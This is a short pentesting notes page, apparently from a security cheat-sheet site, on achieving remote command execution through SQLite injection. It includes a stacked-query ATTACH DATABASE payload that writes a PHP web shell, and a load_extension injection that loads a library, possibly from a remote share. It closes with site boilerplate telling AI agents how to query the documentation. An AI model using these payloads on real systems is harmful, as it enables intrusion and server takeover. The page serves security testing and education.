# SQLite.md

### Remote Command Execution

**Attach Database**

The SQLite `ATTACH DATABASE` statement permit to attach additional databases to the current database connection. It can thus be used to attach to others databases stored on the file system and that may contain interesting information.

Moreover, if the attached database does not exist, a new file is created on the file system, given the web server user as write privilege at the specified path. By creating a file that will be executed by the web server and inserting code in a table field, remote command execution can be achieved upon access of the file.

Note: stacked queries must be supported, which is the default SQLite configuration

```
# Example ATTACH DATABASE to write a PHP web shell

ATTACH DATABASE '<FULLPATH | RELATIVE_PATH>/<FILENAME>' AS file; CREATE TABLE file.cmd (dataz text); INSERT INTO file.cmd (dataz) VALUES ('<?system($_GET["cmd"]); ?>');--
```

**Load\_extension statement**

The `SELECT load_extension` statement can be used to load a library from disk (such as a `DLL` or `shared object .so` file). The second parameter corresponds to the entry point of the library.

```
UNION SELECT 1,load_extension('<LIBRARY_PATH | \\<IP | HOSTNAME>\<SHARE>\<LIBRARY>','<DllMain | ENTRY_POINT>');--
```

***

### References

<http://atta.cked.me/home/sqlite3injectioncheatsheet>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/web-applications/exploitation-sql_injections/sqlite.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
